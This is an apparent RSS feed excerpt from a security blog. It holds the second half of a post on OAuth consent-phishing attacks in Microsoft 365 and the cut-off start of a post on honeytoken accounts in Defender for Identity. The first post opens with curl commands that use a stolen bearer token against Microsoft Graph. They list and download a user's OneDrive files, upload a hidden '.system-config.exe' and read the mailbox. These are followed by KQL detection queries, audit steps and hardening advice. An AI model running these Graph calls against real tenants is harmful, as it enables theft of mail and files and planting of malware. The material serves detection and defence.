    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-20_hu_d44b22392b516f9f.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-20.webp"></figure><p>Query the permissions granted by the malicous app:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request to Microsoft Graph showing the permissions granted to the malicious app"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-21_hu_8ba21259800d63a1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-21.webp"></figure><p>List all the files in OneDrive &amp; download an example:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me/drive/root/children</span></span></code></pre></div></div>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -o <span class="s2">&#34;stolen_file.pdf&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     https://graph.microsoft.com/v1.0/me/drive/root:/Documents/Confidential.pdf:/content</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request listing files in the compromised user&rsquo;s OneDrive"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-22_hu_50bf0b44b2cea74e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-22.webp"></figure><p>Upload a hidden (malicious?) file in OneDrive:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X PUT -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -H <span class="s2">&#34;Content-Type: application/json&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -d <span class="s1">&#39;{
</span></span></span><span class="line"><span class="cl"><span class="s1">       &#34;@microsoft.graph.conflictBehavior&#34;: &#34;rename&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">       &#34;name&#34;: &#34;.system-config.exe&#34;
</span></span></span><span class="line"><span class="cl"><span class="s1">     }&#39;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     https://graph.microsoft.com/v1.0/me/drive/root:/Documents/.system-config.exe:/content</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request uploading a hidden executable to the compromised user&rsquo;s OneDrive"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-24_hu_b65011af36a8dfaf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-24.webp"></figure><p>Read e-mails directly from the mailbox:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -H <span class="s2">&#34;Content-Type: application/json&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     <span class="s2">&#34;https://graph.microsoft.com/v1.0/me/messages?</span><span class="nv">$top</span><span class="s2">=10&#34;</span></span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request reading the latest messages from the compromised mailbox"
    width="1079"
    height="468"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-25_hu_e0eb4be8725ac902.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-25.webp"></figure><p>Imagine, with even permissions, I could easily query all the users, refresh tokens, create new malicious apps, make forwards in the inbox, send phishing messages through Teams and even more if I added more permission in the initial consent and move lateral in the environment.</p>

<h2 class="relative group">Identifying suspicious OAuth applications manually
    <div id="identifying-suspicious-oauth-applications-manually" class="anchor"></div>
    
</h2>
<p>OAuth-based attacks require a structured approach for detection and response. The following steps outline steps that security teams can use to investigate OAuth applications:</p>

<h3 class="relative group">1. Review OAuth consent events in Audit Log
    <div id="1-review-oauth-consent-events-in-audit-log" class="anchor"></div>
    
</h3>
<p>Microsoft Entra ID logs every instance where a user consents to an application requesting permissions.</p>
<p><strong>Steps:</strong></p>
<ol>
<li>Go to <a href="https://entra.microsoft.com"  target="_blank" rel="noreferrer">Microsoft Entra admin center</a></li>
<li>Navigate to <strong>Monitoring &gt; Audit Logs</strong></li>
<li>In the filter bar, set <strong>Operation</strong> to <code>Consent to application</code></li>
<li>Review the log entries:
<ul>
<li><strong>Initiated by</strong>: which user granted consent</li>
<li><strong>Target resources</strong>: app name and ID</li>
<li><strong>Modified properties</strong>: permissions granted (usually in JSON format)</li>
</ul>
</li>
</ol>
<p><strong>What to look for:</strong></p>
<ul>
<li>Unknown or suspicious application names</li>
<li>Unusual permissions such as:
<ul>
<li><code>Mail.ReadWrite</code></li>
<li><code>User.ReadWrite.All</code></li>
<li><code>Files.ReadWrite.All</code></li>
<li><code>offline_access</code></li>
</ul>
</li>
</ul>

<h3 class="relative group">2. Identify risky applications via Enterprise Applications
    <div id="2-identify-risky-applications-via-enterprise-applications" class="anchor"></div>
    
</h3>
<p>The Enterprise Applications blade in Entra ID lists all applications registered in your tenant and their access level.</p>
<p><strong>Steps:</strong></p>
<ol>
<li>In the Entra admin center, go to <strong>Applications &gt; Enterprise applications</strong></li>
<li>Set the filter to <strong>Application type: All Applications</strong></li>
<li>Sort by <strong>Users</strong> or <strong>Last sign-in</strong> to find active apps</li>
<li>Select an app to investigate:
<ul>
<li>Review the <strong>Overview</strong> tab for the application ID, publisher, and verified status</li>
<li>Go to <strong>Permissions</strong> to review API permissions granted</li>
<li>Under <strong>Users and groups</strong>, view who has access or has consented</li>
</ul>
</li>
</ol>
<p><strong>What to look for:</strong></p>
<ul>
<li>Apps with no <strong>verified publisher</strong></li>
<li>Apps granted <strong>broad or high-risk permissions</strong></li>
<li>Apps with access granted by many users or without IT knowledge</li>
</ul>

<h3 class="relative group">3. Investigate app permissions and consent details
    <div id="3-investigate-app-permissions-and-consent-details" class="anchor"></div>
    
</h3>
<p><strong>Steps:</strong></p>
<ol>
<li>From within the app view (Enterprise Applications &gt; [App Name]):
<ul>
<li>Click <strong>Permissions</strong></li>
<li>Review whether access was <strong>user-consented</strong> or <strong>admin-consented</strong></li>
</ul>
</li>
<li>For admin-consented apps:
<ul>
<li>These have tenant-wide access and require immediate review if suspicious</li>
</ul>
</li>
<li>Click on each permission to see the associated scopes (Graph API, Exchange, etc.)</li>
</ol>
<p><strong>What to look for:</strong></p>
<ul>
<li>Admin-consented apps that are not officially approved</li>
<li>Delegated permissions with read/write access to sensitive services</li>
</ul>

<h3 class="relative group">4. Cross-reference with Sign-in logs (optional for Behavior Analysis)
    <div id="4-cross-reference-with-sign-in-logs-optional-for-behavior-analysis" class="anchor"></div>
    
</h3>
<p>To verify whether a suspicious app has been actively used:</p>
<p><strong>Steps:</strong></p>
<ol>
<li>Go to <strong>Monitoring &gt; Sign-in logs</strong></li>
<li>Add the <strong>Application</strong> column (if not visible, click Columns &gt; Add)</li>
<li>Filter by application name (as identified in Enterprise Apps)</li>
<li>Analyze:
<ul>
<li>Frequency of sign-ins</li>
<li>Locations and IP addresses</li>
<li>Sign-ins at unusual times or from service principals</li>
</ul>
</li>
</ol>

<h2 class="relative group">Investigating with KQL Queries in Microsoft Sentinel
    <div id="investigating-with-kql-queries-in-microsoft-sentinel" class="anchor"></div>
    
</h2>

<h3 class="relative group">List All OAuth consents granted (AuditLogs)
    <div id="list-all-oauth-consents-granted-auditlogs" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AuditLogs
<span class="o">|</span> <span class="k">where</span> OperationName <span class="o">==</span> <span class="s">&#34;Consent to application&#34;</span>
<span class="o">|</span> <span class="k">extend</span> InitiatingUser = <span class="nf">tostring</span>(InitiatedBy.user.userPrincipalName)
<span class="o">|</span> <span class="k">extend</span> AppName = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].displayName))
<span class="o">|</span> <span class="k">extend</span> AppId = <span class="nf">tostring</span>(TargetResources[0].id)
<span class="o">|</span> <span class="k">extend</span> Permissions = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].modifiedProperties)[0].newValue)
<span class="o">|</span> <span class="k">project</span> TimeGenerated, InitiatingUser, AppName, AppId, Permissions
<span class="o">|</span> <span class="k">sort by</span> TimeGenerated <span class="k">desc</span></code></pre></div>
</div>

<h3 class="relative group">Identify apps with high-risk permissions
    <div id="identify-apps-with-high-risk-permissions" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AuditLogs
<span class="o">|</span> <span class="k">where</span> OperationName <span class="o">==</span> <span class="s">&#34;Consent to application&#34;</span>
<span class="o">|</span> <span class="k">extend</span> Permissions = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].modifiedProperties)[0].newValue)
<span class="o">|</span> <span class="k">extend</span> AppName = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].displayName))
<span class="o">|</span> <span class="k">extend</span> User = <span class="nf">tostring</span>(InitiatedBy.user.userPrincipalName)
<span class="o">|</span> <span class="k">where</span> Permissions <span class="k">has_any</span>(<span class="s">&#34;Mail.ReadWrite&#34;</span>, <span class="s">&#34;Mail.Send&#34;</span>, <span class="s">&#34;Files.ReadWrite&#34;</span>, <span class="s">&#34;offline_access&#34;</span>, <span class="s">&#34;User.ReadWrite.All&#34;</span>, <span class="s">&#34;Directory.ReadWrite.All&#34;</span>)
<span class="o">|</span> <span class="k">project</span> TimeGenerated, User, AppName, Permissions</code></pre></div>
</div>

<h3 class="relative group">Apps consented by multiple users
    <div id="apps-consented-by-multiple-users" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AuditLogs
<span class="o">|</span> <span class="k">where</span> OperationName <span class="o">==</span> <span class="s">&#34;Consent to application&#34;</span>
<span class="o">|</span> <span class="k">extend</span> AppName = <span class="nf">tostring</span>(<span class="nf">parse_json</span>(TargetResources[0].displayName))
<span class="o">|</span> <span class="k">extend</span> User = <span class="nf">tostring</span>(InitiatedBy.user.userPrincipalName)
<span class="o">|</span> <span class="k">summarize</span> UsersGrantingConsent = <span class="nf">make_set</span>(User), ConsentCount = <span class="k">count</span>() <span class="k">by</span> AppName
<span class="o">|</span> <span class="k">where</span> ConsentCount <span class="o">&gt;</span> 3  <span class="c1">// You can lower the threshold for more sensitive environments</span></code></pre></div>
</div>

<h3 class="relative group">Apps making suspicious API calls (via CloudAppEvents)
    <div id="apps-making-suspicious-api-calls-via-cloudappevents" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">CloudAppEvents
<span class="o">|</span> <span class="k">where</span> ActivityType <span class="k">has</span> <span class="s">&#34;OAuth&#34;</span> <span class="k">or</span> Application <span class="k">has_any</span>(<span class="s">&#34;Graph&#34;</span>, <span class="s">&#34;Exchange Online&#34;</span>)
<span class="o">|</span> <span class="k">extend</span> App = <span class="nf">tostring</span>(RawEventData.appDisplayName)
<span class="o">|</span> <span class="k">extend</span> Action = <span class="nf">tostring</span>(RawEventData.activityType)
<span class="o">|</span> <span class="k">extend</span> UPN = <span class="nf">tostring</span>(RawEventData.user.userPrincipalName)
<span class="o">|</span> <span class="k">extend</span> Permissions = <span class="nf">tostring</span>(RawEventData.appPermissions)
<span class="o">|</span> <span class="k">where</span> Permissions <span class="k">has_any</span>(<span class="s">&#34;Mail.ReadWrite&#34;</span>, <span class="s">&#34;Mail.Send&#34;</span>, <span class="s">&#34;User.ReadWrite.All&#34;</span>, <span class="s">&#34;Files.ReadWrite.All&#34;</span>)
<span class="o">|</span> <span class="k">project</span> Timestamp, UPN, App, Permissions, Action</code></pre></div>
</div>

<h2 class="relative group">Investigating consent grants with PowerShell
    <div id="investigating-consent-grants-with-powershell" class="anchor"></div>
    
</h2>

<h3 class="relative group">Using Get-AzureADPSPermissions script
    <div id="using-get-azureadpspermissions-script" class="anchor"></div>
    
</h3>
<ol>
<li><strong>Download the script from GitHub:</strong> <a href="https://gist.github.com/psignoret/41793f8c6211d2df5051d77ca3728c09"  target="_blank" rel="noreferrer">Get-AzureADPSPermissions.ps1</a></li>
<li><strong>Open PowerShell as Administrator</strong> and navigate to the script folder</li>
<li><strong>Connect to Microsoft Entra ID:</strong></li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Connect-AzureAD</span> <span class="n">-tenantid</span> <span class="s2">&#34;your-tenant-id&#34;</span> <span class="n">-AccountId</span> <span class="s2">&#34;admin@yourdomain.com&#34;</span></span></span></code></pre></div></div>
<ol start="4">
<li><strong>Run the script to export OAuth permissions:</strong></li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">.\</span><span class="nb">Get-AzureADPSPermissions</span><span class="p">.</span><span class="py">ps1</span> <span class="p">|</span> <span class="nb">Export-Csv</span> <span class="n">C:</span><span class="p">\</span><span class="n">temp</span><span class="p">\</span><span class="n">OAuthPermissions</span><span class="p">.</span><span class="py">csv</span> <span class="n">-NoTypeInformation</span></span></span></code></pre></div></div>
<ol start="5">
<li><strong>After execution, disconnect from Microsoft Entra:</strong></li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Disconnect-AzureAD</span></span></span></code></pre></div></div>
<ol start="6">
<li><strong>Analyze the exported CSV file</strong>, filtering for:
<ul>
<li><strong>ConsentType:</strong> Identify <code>AllPrincipals</code> entries affecting all users</li>
<li><strong>Permissions:</strong> Look for <code>ReadWrite</code> or <code>All</code> permissions that might be excessive</li>
<li><strong>AppDisplayName:</strong> Spot applications with suspicious or unfamiliar names</li>
<li><strong>ReplyURL/RedirectURL:</strong> Verify that URLs belong to trusted domains</li>
</ul>
</li>
</ol>

<h2 class="relative group">U sing the new Microsoft Defender for Cloud Apps – App Governance (automated)
    <div id="using-the-new-microsoft-defender-for-cloud-apps-app-governance-automated" class="anchor"></div>
    
</h2>
<p>Recently, Microsoft introduced <strong>App Governance</strong>, a powerful capability that brings much-needed visibility and control over OAuth applications across your environment.</p>
<p><strong>This new feature is the reason I started writing this blog</strong></p>
<p>App Governance helps bridge a critical gap in securing app-based access, and it’s an important step forward in protecting your Microsoft 365 data from misuse through third-party or malicious applications.</p>
<ul>
<li><strong>Detect malicious OAuth applications</strong></li>
<li><strong>Block suspicious OAuth consent grants automatically</strong></li>
<li><strong>Monitor API permissions and OAuth tokens in real-time</strong></li>
<li><strong>Automatically revoke over-permissioned applications</strong></li>
</ul>

<h3 class="relative group">Step 1: Enable App Governance
    <div id="step-1-enable-app-governance" class="anchor"></div>
    
</h3>
<ol>
<li><strong>Sign in</strong> to the <a href="https://security.microsoft.com"  target="_blank" rel="noreferrer">Microsoft Defender Security Portal</a></li>
<li>Navigate to <strong>Cloud Apps</strong> → <strong>App Governance</strong></li>
<li>Click <strong>Enable App Governance</strong> and accept the required permissions</li>
<li>Ensure <strong>Global Administrator</strong> or <strong>Security Administrator</strong> permissions are assigned to configure policies</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)"
    width="1954"
    height="1090"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image_hu_2cd3a56f01168df2.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image.webp"></figure>
<h3 class="relative group">Step 2: Audit OAuth apps
    <div id="step-2-audit-oauth-apps" class="anchor"></div>
    
</h3>
<ol>
<li>Navigate to <strong>Cloud Apps</strong> → <strong>App Governance Dashboard</strong></li>
<li>Click <strong>Connected Applications</strong> to view all OAuth apps in use</li>
<li>Use the <strong>Risk Score</strong> to identify <strong>high-risk OAuth applications</strong></li>
<li>Review permissions granted to each app and <strong>identify over-permissioned applications</strong></li>
<li>Select an app and <strong>revoke unnecessary permissions</strong> or remove untrusted apps</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)"
    width="1951"
    height="1079"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-1_hu_e779facc55b2f10c.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-1.webp"></figure><figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)"
    width="1951"
    height="1080"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-2_hu_54bbaaf0fef08181.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-2.webp"></figure>
<h3 class="relative group">Step 3: Automate security policies
    <div id="step-3-automate-security-policies" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Policies</strong> → <strong>Create Policy</strong></li>
<li>Select <strong>OAuth App Policy</strong> and define conditions, such as:
<ul>
<li>Apps requesting <strong>high-risk permissions</strong> (e.g., <code>Mail.Send</code>, <code>Files.ReadWrite</code>)</li>
<li>Newly authorized apps requesting <strong>broad access</strong></li>
<li><strong>Unusual OAuth activity</strong> such as <strong>mass consent grants</strong></li>
</ul>
</li>
<li>Configure the policy action:
<ul>
<li><strong>Alert administrators</strong></li>
<li><strong>Automatically revoke access</strong> to high-risk apps</li>
<li><strong>Block new risky OAuth grants</strong></li>
</ul>
</li>
<li>Click <strong>Save Policy</strong> to enforce automatic security actions</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Choosing a permissions policy template in app governance"
    width="1951"
    height="1087"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-3_hu_be52a8b35f9a5e28.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/image-3.webp"></figure>
<h2 class="relative group">Best Practices to prevent OAuth Attacks
    <div id="best-practices-to-prevent-oauth-attacks" class="anchor"></div>
    
</h2>
<p>Next month, I’ll publish a complete blog post covering every Microsoft Entra and Microsoft 365 setting you need to configure to fully protect your environment against these attacks.<br>
In the meantime, here are the essential configurations and practices you should already have in place to reduce your exposure.</p>

<h3 class="relative group">1. Restrict OAuth app consents
    <div id="1-restrict-oauth-app-consents" class="anchor"></div>
    
</h3>
<ul>
<li>Disable user consent for unverified applications</li>
<li>Enable <strong>Admin Consent Workflow</strong> in <strong>Microsoft Entra ID</strong></li>
<li>Use <strong>Conditional Access</strong> policies to block risky OAuth apps</li>
</ul>

<h3 class="relative group">2. Implement strong authentication and authorization controls
    <div id="2-implement-strong-authentication-and-authorization-controls" class="anchor"></div>
    
</h3>
<ul>
<li>Require <strong>Multi-Factor Authentication (MFA)</strong> for all OAuth-based sign-ins</li>
<li>Enforce <strong>least privilege access</strong> to limit the permissions assigned to apps</li>
</ul>

<h3 class="relative group">3. Monitor and detect unusual OAuth activity
    <div id="3-monitor-and-detect-unusual-oauth-activity" class="anchor"></div>
    
</h3>
<ul>
<li>Continuously monitor <strong>OAuth activities</strong> using Microsoft Sentinel and Defender for Cloud Apps</li>
<li>Set up <strong>alerts for high-risk permissions</strong> to detect suspicious applications</li>
<li>Automate detection and response to OAuth-based threats using <strong>Microsoft Defender XDR</strong></li>
</ul>

<h3 class="relative group">4. Enable Automatic Attack Disruption
    <div id="4-enable-automatic-attack-disruption" class="anchor"></div>
    
</h3>
<ul>
<li>Use <strong>Microsoft Automatic Attack Disruption</strong> to detect and contain OAuth attacks in real-time</li>
<li>Implement <strong>threat intelligence-based detection</strong> to respond to sophisticated OAuth-based attacks</li>
<li>Integrate <strong>SIEM, XDR and SOAR</strong> solutions to automate investigation and remediation workflows</li>
</ul>
<p>By following these best practices, organizations can <strong>harden OAuth security</strong>, quickly detect threats, and minimize the impact of unauthorized OAuth activity</p>

<h2 class="relative group">Additional Resources
    <div id="additional-resources" class="anchor"></div>
    
</h2>
<p><a href="https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/"  target="_blank" rel="noreferrer">https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/</a></p>
<p><a href="https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/"  target="_blank" rel="noreferrer">https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/</a></p>

<h2 class="relative group">Conclusion
    <div id="conclusion" class="anchor"></div>
    
</h2>
<p><strong>The Midnight Blizzard attack</strong> demonstrated how attackers can persist in an environment without needing to compromise passwords again. <strong>OAuth token hijacking</strong> is a stealthy and highly effective attack vector, making it crucial for organizations to:</p>
<p>✅ Monitor OAuth token activity and refresh token usage<br>
✅ Detect unauthorized OAuth grants and token exchanges<br>
✅ Revoke inactive OAuth tokens periodically<br>
✅ Strengthen Conditional Access policies for OAuth apps</p>
<p>By implementing <strong>Microsoft Defender for Cloud Apps’ App Governance</strong>, security teams can proactively manage OAuth applications, prevent misuse, and enhance cloud security. Organizations that fail to secure OAuth expose themselves to long-term compromises, unauthorized access, and compliance violations.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/featured_hu_782453df4ec49c56.jpg" medium="image" type="image/jpeg" width="1200" height="477"/><enclosure url="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/featured_hu_782453df4ec49c56.jpg" type="image/jpeg" length="53599"/></item><item><title>Using Honeytoken Accounts in Microsoft Defender for Identity (MDI) for proactive threat detection</title><link>https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/</link><guid isPermaLink="true">https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/</guid><pubDate>Tue, 01 Oct 2024 12:36:40 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender for Identity</category><category>Microsoft Defender XDR</category><category>Microsoft Entra ID (Azure AD)</category><description>Discover how to effectively deploy, configure, and monitor honeytoken accounts in Microsoft Defender for Identity (MDI) to detect identity threats</description><content:encoded><![CDATA[
<h2 class="relative group">Introduction to Honeytoken Accounts in Microsoft Defender for Identity (MDI)
    <div id="introduction-to-honeytoken-accounts-in-microsoft-defender-for-identity-mdi" class="anchor"></div>
    
</h2>
<p><em>Microsoft Defender for Identity</em> provides organizations with an effective way to detect and deter identity-based attacks through the use of <strong>honeytoken accounts</strong>. Honeytokens are decoy accounts, configured to look valuable to attackers, which trigger alerts whenever they’re accessed without authorization. This proactive defense strategy helps organizations identify potential breaches early, enabling rapid response to suspicious activity.</p>
<p>By leveraging these accounts in security teams can monitor lateral movement attempts, credential harvesting, and other suspicious behavior within their Active Directory environments. Honeytoken accounts are essential to a layered defense approach, offering high-value insights into potential attack paths and improving an organization’s overall security posture.</p>

<h2 class="relative group">Benefits of Honeytoken Accounts in MDI
    <div id="benefits-of-honeytoken-accounts-in-mdi" class="anchor"></div>
    
</h2>
<p>Implementing honeytoken accounts offers several security advantages:</p>
<ul>
<li><strong>Early detection of unauthorized access</strong>: Honeytokens are designed to alert security teams at the first sign of an attack, allowing for a quick and effective response.</li>
<li><strong>Enhanced threat visibility</strong>: Honeytoken alerts provide insights into attacker tactics, such as lateral movement and privilege escalation, enabling better threat analysis.</li>
<li><strong>Reduced false positives</strong>: Since honeytokens are unused by legitimate users, alerts associated with these accounts are high-fidelity, reducing false positives and enabling faster action.</li>
</ul>
<p>These benefits make it a valuable component in securing identity-based assets</p>

<h2 class="relative group">Prerequisites and licensing
    <div id="prerequisites-and-licensing" class="anchor"></div>
    
</h2>
<p>To deploy this solution with Microsoft Defender for Identity, ensure your organization meets the prerequisites and licensing requirements:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Requirement</th>
              <th>Licensing requirement</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>Microsoft Defender for Identity</td>
            <td>Microsoft 365 E5 or E5 Security</td>
        </tr>
        <tr>
            <td>Microsoft Sentinel Integration</td>
            <td>Azure Subscription</td>
        </tr>
        <tr>
            <td>Active Directory Environment</td>
            <td>Required for honeytoken account setup</td>
        </tr>
    </tbody>
  </table>
</div>
<p><strong>Supported requirements for the deployment</strong>:</p>
<ul>
<li><strong>Microsoft 365 E5 or E5 Security License</strong>: Required for access to MDI’s functionality</li>
<li><strong>Active Directory or Hybrid Identity setup</strong>: Configuring tokens requires AD or hybrid identity support</li>
<li><strong>Microsoft Sentinel Integration</strong>: Optional but recommended to centralize alert monitoring</li>
</ul>
<p>Meeting these prerequisites ensures that honeytokens are fully supported and effectively monitored</p>

<h2 class="relative group">Strategic placement and naming of accounts
    <div id="strategic-placement-and-naming-of-accounts" class="anchor"></div>
    
</h2>
<p>The solution works best when strategically configured:</p>
<ul>
<li><strong>Repurpose inactive accounts</strong>: Use existing, unused (stale) accounts to enhance realism by giving the accounts a history within AD</li>
<li><strong>Enticing names</strong>: Assign names that look valuable to attackers, such as “Temp Admin” or “Back Office”</li>
<li><strong>Group placement for visibility</strong>: Add honeytokens to (fake) sensitive groups like “Remote Desktop Users” to increase their visibility to attackers</li>
<li><strong>Assign Service Principal Names (SPNs)</strong>: Assign SPNs to honeytokens, making them targets for Kerberos-based attacks, such as Pass-the-Ticket</li>
<li><strong>Plant credentials on shared resources</strong>: Place honeytoken credentials in realistic-looking files on file shares or SharePoint to attract attackers during internal reconnaissance and trigger early alerts.</li>
</ul>
<p>Properly configuration is essential to successfully attracting and detecting malicious access attempts.</p>

<h2 class="relative group">Creating accounts for Microsoft Defender for Identity
    <div id="creating-accounts-for-microsoft-defender-for-identity" class="anchor"></div>
    
</h2>

<h3 class="relative group">Scenario 1: Service Account with SPN (on-premises AD, non-synced)
    <div id="scenario-1-service-account-with-spn-on-premises-ad-non-synced" class="anchor"></div>
    
</h3>
<p>This scenario creates a fake service account with a realistic SPN, simulating a common target for attackers attempting Kerberoasting or LDAP reconnaissance.</p>
<p><strong>Step 1: Create the AD account</strong></p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">New-ADUser</span> <span class="p">`</span>  <span class="n">-Name</span> <span class="s2">&#34;svc_backup&#34;</span> <span class="p">`</span>  <span class="n">-SamAccountName</span> <span class="s2">&#34;svc_backup&#34;</span> <span class="p">`</span>  <span class="n">-UserPrincipalName</span> <span class="s2">&#34;svc_backup@contoso.local&#34;</span> <span class="p">`</span>  <span class="n">-AccountPassword</span> <span class="p">(</span><span class="nb">ConvertTo-SecureString</span> <span class="s2">&#34;VeryStrongPassword!123&#34;</span> <span class="n">-AsPlainText</span> <span class="n">-Force</span><span class="p">)</span> <span class="p">`</span>  <span class="n">-Enabled</span> <span class="vm">$true</span> <span class="p">`</span>  <span class="n">-PasswordNeverExpires</span> <span class="vm">$true</span> <span class="p">`</span>  <span class="n">-CannotChangePassword</span> <span class="vm">$true</span> <span class="p">`</span>  <span class="n">-Path</span> <span 